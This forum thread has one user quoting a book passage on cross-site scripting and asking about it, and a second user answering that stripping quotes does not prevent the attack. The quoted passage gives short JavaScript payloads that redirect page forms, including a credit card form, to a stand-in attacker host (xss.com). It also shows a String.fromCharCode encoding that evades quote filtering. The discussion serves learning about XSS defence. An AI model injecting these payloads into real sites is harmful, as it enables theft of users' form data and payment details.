cookie theft

[abalfazl]

Hello

Form Data Theft
A similar approach to the one demonstrated for URL session theft can be used to modify the
forms available on the page. The list of all the forms on a page is available via the JavaScript
document.forms identifier, and the list can be iterated just as easily as links. By changing the
value of each action attribute, the attacker can transparently force the form content to be sent
to a third-party site:
for (i=0; i<document.forms.length; i++)
document.forms[i].action=’http://xss.com/x.php’;
Given that injecting a multi-line JavaScript program might be a small challenge, the attack can
be greatly simplified, making it far easier to generate and place on a victim site. Since most
forms are given an identifer via the name attribute, JavaScript can access and modify a particular
form directly:
document.forms.cc_details.action=’http://xss.com/x.php’;
In this instance, the credit card information form, which goes by the name of cc_details, is
specifically targeted. As in the previous example, its action tag is modified to point at a thirdparty
location, but unlike the previous exploit, it only requires one line of very simple code.
The one thing that may make injection difficult is that quotes must encompass the argument.
Single and double quotes are generally escaped or stripped and may make the XSS attack
fails due to a JavaScript parsing error.
But even if you have validation routines to encode or remove quotes, you still may be
vulnerable to an XSS attack. Unlike strings, numbers do not need to be quoted. By using the
String.fromCharCode() function—a JavaScript function that allows conversion of a number

First it says:
The one thing that may make injection difficult is that quotes must encompass the argument.

And then:

But even if you have validation routines to encode or remove quotes,


if quotes in JAVAscript is ok,Why does it suggest to remove?

By using the
String.fromCharCode() function—a JavaScript function that allows conversion of a number to
an equivalent ASCII character, much like PHP’s chr() function—you can avoid using quotes
altogether and represent the values as a sequence of a numbers.
a = new Array(104,116,116,112,58,47,47,120,115,
115,46,99,111,109,47,120,46,112,104,112);
b = String.fromCharCode(a[0]);
for (i=1; i<a.length; i++) {
b += String.fromCharCode(a[i]);
}
document.forms.cc_details.action=b;
Here, given array a, string b is assembled on the fly, yielding http://xss.com/x.php. That value
is then assigned as the form’s action field.

May you explain more?

[paul_wilkins]

I think he said it already.

The one thing that may make injection difficult is that quotes must encompass the argument.

But even if you have validation routines to encode or remove quotes, you still may be vulnerable to an XSS attack.

Why may you still be vulnerable?

[an attacker] can avoid using quotes altogether and represent the values as a sequence of a numbers

So if you try to remove quotes from the attempted injection, you still won't be safe if the no-quote technique is used.